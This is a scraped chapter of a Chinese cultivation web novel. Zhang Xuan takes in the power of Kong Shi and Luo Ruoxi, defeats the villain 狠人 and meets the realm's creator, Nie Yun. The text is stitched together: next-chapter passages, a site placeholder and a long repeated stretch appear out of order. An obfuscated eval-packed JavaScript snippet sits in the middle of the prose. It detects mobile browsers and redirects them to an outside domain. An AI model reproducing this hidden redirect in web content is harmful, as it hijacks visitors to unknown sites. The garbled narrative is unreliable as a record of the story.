“怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139567|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百六十一章 这盘棋,才刚开始 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 